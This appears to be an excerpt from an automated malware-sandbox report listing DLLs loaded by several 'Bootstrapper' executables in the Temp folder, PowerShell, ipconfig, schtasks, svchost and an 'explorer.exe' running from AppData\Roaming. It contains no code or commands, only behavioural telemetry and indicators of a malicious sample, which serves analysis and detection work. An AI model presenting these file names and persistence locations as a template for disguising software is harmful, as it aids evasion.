Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: avicap32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: msvfw32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: mmdevapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: devobj.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: audioses.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: resourcepolicyclient.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\ipconfig.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\ipconfig.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\ipconfig.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\ipconfig.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\ipconfig.exe Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\explorer.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: flightsettings.dll
